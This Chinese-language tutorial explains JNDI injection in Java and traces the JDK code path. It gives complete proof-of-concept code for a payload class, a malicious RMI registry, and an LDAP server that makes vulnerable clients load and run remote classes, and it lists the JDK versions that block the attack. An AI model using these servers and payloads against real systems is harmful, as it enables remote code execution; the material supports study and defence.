0x01 前言

JNDI(全称Java Naming and Directory Interface)是用于目录服务的Java API,它允许Java客户端通过名称发现和查找数据和资源(以Java对象的形式)。与与主机系统接口的所有Java api一样,JNDI独立于底层实现。此外,它指定了一个服务提供者接口(SPI),该接口允许将目录服务实现插入到框架中。通过JNDI查询的信息可能由服务器、文件或数据库提供,选择取决于所使用的实现。其中JNDI中也存在RMI codebase的动态加载机制,并且其配置同底层的RMI配置并不相关,因此使用RMI codebase远程加载对jdk版本的限制不会为jdk7u21前。
JNDI可访问的现有的目录及服务有:JDBCLDAPRMIDNSNISCORBA

0x02 相关知识

攻击场景

JNDI使用方法如下,如果jndiName可控,那么则会造成JNDI注入攻击。

  1. //指定需要查找name名称
  2. String jndiName= "xxx";
  3. //初始化默认环境
  4. Context context = new InitialContext();
  5. //查找该name的数据
  6. context.lookup(jndiName);
  1. 攻击者提供一个绝对的RMI URL给可控的JNDI lookup当作参数。
  2. 服务端连接攻击者控制的RMI registry,获取到一个恶意的JNDI Reference。
  3. 服务端解码JNDI Reference
  4. 服务端从攻击者控制的服务器获取到工厂类(即恶意类)
  5. 服务端实例化工厂类
  6. 恶意代码执行

image.png

javax.naming.InitialContext类

该类的作用是构建初始上下文,获取目录环境情况。主要有以下方法:

  • bind(Name name, Object obj) :将名称绑定到对象。
  • list(String name) :枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。
  • lookup(String name) :检索命名对象。
  • rebind(String name, Object obj) :将名称绑定到对象,覆盖任何现有绑定。
  • unbind(String name) :取消绑定命名对象。

    javax.naming.Reference类

    该类表示对在命名/目录系统外部找到的对象的引用。引用中包含着相关服务的信息,如RMI、LDAP等。
    用法如下:

    1. String url = "http://127.0.0.1:8080";
    2. Reference reference = new Reference("test", "test", url);
  • 参数1:className - 远程加载时所使用的类名,即lookup返回的类类型。

  • 参数2:classFactory- 加载的class中需要实例化类的名称
  • 参数3:classFactoryLocation- 提供classes数据的地址可以是file/ftp/http协议

以下代码基于RMI服务绑定一个Reference。

  1. import com.sun.jndi.rmi.registry.ReferenceWrapper;
  2. import javax.naming.NamingException;
  3. import javax.naming.Reference;
  4. import java.rmi.AlreadyBoundException;
  5. import java.rmi.RemoteException;
  6. import java.rmi.registry.LocateRegistry;
  7. import java.rmi.registry.Registry;
  8. public class RefServer {
  9. public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
  10. String url = "http://127.0.0.1:8080";
  11. Registry registry = LocateRegistry.createRegistry(1099);
  12. Reference reference = new Reference("test", "test", url);
  13. ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
  14. registry.bind("foo",referenceWrapper);
  15. }
  16. }

需要注意一点的是Reference并不能直接绑定在registry中,因为RMI只允许绑定实现Remote接口和继承 UnicastRemoteObject类。所以使用ReferenceWrapperReference包裹。

LDAP

LDAP(Light Directory Access Portocol),它是基于X.500标准的轻量级目录访问协议。目录是一个为查询、浏览和搜索而优化的数据库,它成树状结构组织数据,类似文件目录一样。目录数据库和关系数据库不同,它有优异的读性能,但写性能差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。所以目录天生是用来查询的,就好象它的名字一样。
LDAP目录服务是由目录数据库和一套访问协议组成的系统。
更详细的内容:https://www.cnblogs.com/wilburxu/p/9174353.html

0x03 JNDI+RMI

在相关知识部分已经介绍了JNDI+RMI的攻击流程,JNDI客户端寻找Reference中指定的类,如果查找不到则会在Reference中指定的远程地址去进行请求,请求到远程的类后会在本地进行执行。需要以下三个部分:JNDI客户端、RMI服务端、挂载payload的web服务。
payload代码:

  1. import java.io.IOException;
  2. public class Exploit {
  3. public Exploit() {
  4. }
  5. static {
  6. try {
  7. Runtime.getRuntime().exec("calc.exe");
  8. } catch (IOException e) {
  9. e.printStackTrace();
  10. }
  11. }
  12. }

使用javac编译后挂载到web服务,这里简单起见使用python:python -m http.server 8080
RMI服务端代码:

  1. import com.sun.jndi.rmi.registry.ReferenceWrapper;
  2. import javax.naming.NamingException;
  3. import javax.naming.Reference;
  4. import java.rmi.AlreadyBoundException;
  5. import java.rmi.RemoteException;
  6. import java.rmi.registry.LocateRegistry;
  7. import java.rmi.registry.Registry;
  8. public class RMIServer {
  9. public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
  10. String url = "http://127.0.0.1:8080/";
  11. Registry registry = LocateRegistry.createRegistry(1099);
  12. Reference reference = new Reference("Exploit", "Exploit", url);
  13. ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
  14. registry.bind("foo",referenceWrapper);
  15. System.out.println("running");
  16. }
  17. }

JNDI客户端代码:

  1. import javax.naming.Context;
  2. import javax.naming.InitialContext;
  3. import javax.naming.NamingException;
  4. public class JNDITest {
  5. public static void main(String[] args) throws NamingException {
  6. //指定需要查找name名称
  7. String jndiName= "rmi://127.0.0.1:1099/foo";
  8. //初始化默认环境
  9. Context context = new InitialContext();
  10. //查找该name的数据
  11. context.lookup(jndiName);
  12. }
  13. }

运行RMI服务端代码后,运行JNDITest。
image.png
跟踪一下流程,首先是InitialContextlookup方法。
image.png
getURLOrDefaultInitCtx方法中根据协议选择相应的Context,这里是rmiURLContext
image.png
接着com.sun.jndi.toolkit.url.GenericURLContext#lookup方法,调用RegistryContext获取绑定的对象。
image.png
com.sun.jndi.rmi.registry.RegistryContext#lookup,获取远程对象,并对对象进行decodeObject操作。
image.png
com.sun.jndi.rmi.registry.RegistryContext#decodeObject,继续跟进。
image.png
javax.naming.spi.NamingManager#getObjectInstance,跟进。
image.png
javax.naming.spi.NamingManager#getObjectFactoryFromReference,先会在本地加载class,如果未加载成功则通过reference中的codebase远程加载对象。
image.png
跟进可发现其使用Class.forName加载类到内存,因此位于类的静态代码则会执行。也可以将payload写入到构造函数中,如上图所示,在加载类后会对该类进行实例化。
image.png
JDK8u113以及JDK6u132, JDK7u122之后增加了对远程codebase的限制,系统属性 com.sun.jndi.rmi.object.trustURLCodebasecom.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false,也就无法使用rmi来加载codebase了。

0x04 JNDI+LDAP

LDAP攻击场景与RMI基本一致,只是将RMI服务端换为LDAP服务端,就不加赘述了。
image.png
发现大家使用的LDAP服务端代码基本都是下面这个代码:

  1. import java.net.InetAddress;
  2. import java.net.MalformedURLException;
  3. import java.net.URL;
  4. import javax.net.ServerSocketFactory;
  5. import javax.net.SocketFactory;
  6. import javax.net.ssl.SSLSocketFactory;
  7. import com.unboundid.ldap.listener.InMemoryDirectoryServer;
  8. import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
  9. import com.unboundid.ldap.listener.InMemoryListenerConfig;
  10. import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
  11. import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
  12. import com.unboundid.ldap.sdk.Entry;
  13. import com.unboundid.ldap.sdk.LDAPException;
  14. import com.unboundid.ldap.sdk.LDAPResult;
  15. import com.unboundid.ldap.sdk.ResultCode;
  16. public class LDAPServer {
  17. private static final String LDAP_BASE = "dc=example,dc=com";
  18. public static void main ( String[] tmp_args ) {
  19. String[] args=new String[]{"http://127.0.0.1:8080/#Exploit"};
  20. int port = 7777;
  21. try {
  22. InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
  23. config.setListenerConfigs(new InMemoryListenerConfig(
  24. "listen", //$NON-NLS-1$
  25. InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
  26. port,
  27. ServerSocketFactory.getDefault(),
  28. SocketFactory.getDefault(),
  29. (SSLSocketFactory) SSLSocketFactory.getDefault()));
  30. config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
  31. InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
  32. System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
  33. ds.startListening();
  34. }
  35. catch ( Exception e ) {
  36. e.printStackTrace();
  37. }
  38. }
  39. private static class OperationInterceptor extends InMemoryOperationInterceptor {
  40. private URL codebase;
  41. public OperationInterceptor ( URL cb ) {
  42. this.codebase = cb;
  43. }
  44. @Override
  45. public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
  46. String base = result.getRequest().getBaseDN();
  47. Entry e = new Entry(base);
  48. try {
  49. sendResult(result, base, e);
  50. }
  51. catch ( Exception e1 ) {
  52. e1.printStackTrace();
  53. }
  54. }
  55. protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
  56. URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
  57. System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
  58. e.addAttribute("javaClassName", "foo");
  59. String cbstring = this.codebase.toString();
  60. int refPos = cbstring.indexOf('#');
  61. if ( refPos > 0 ) {
  62. cbstring = cbstring.substring(0, refPos);
  63. }
  64. e.addAttribute("javaCodeBase", cbstring);
  65. e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
  66. e.addAttribute("javaFactory", this.codebase.getRef());
  67. result.sendSearchEntry(e);
  68. result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
  69. }
  70. }
  71. }

需要配置maven:

  1. <dependency>
  2. <groupId>com.unboundid</groupId>
  3. <artifactId>unboundid-ldapsdk</artifactId>
  4. <version>4.0.9</version>
  5. </dependency>

image.png
JDK 8u191 com.sun.jndi.ldap.object.trustURLCodebase属性的默认值被调整为false。

0x05 总结

关于jdk相关限制如图所示:
JNDI注入 - 图13

参考文章

[1] https://www.cnblogs.com/nice0e3/p/13958047.html
[2] https://www.anquanke.com/post/id/199481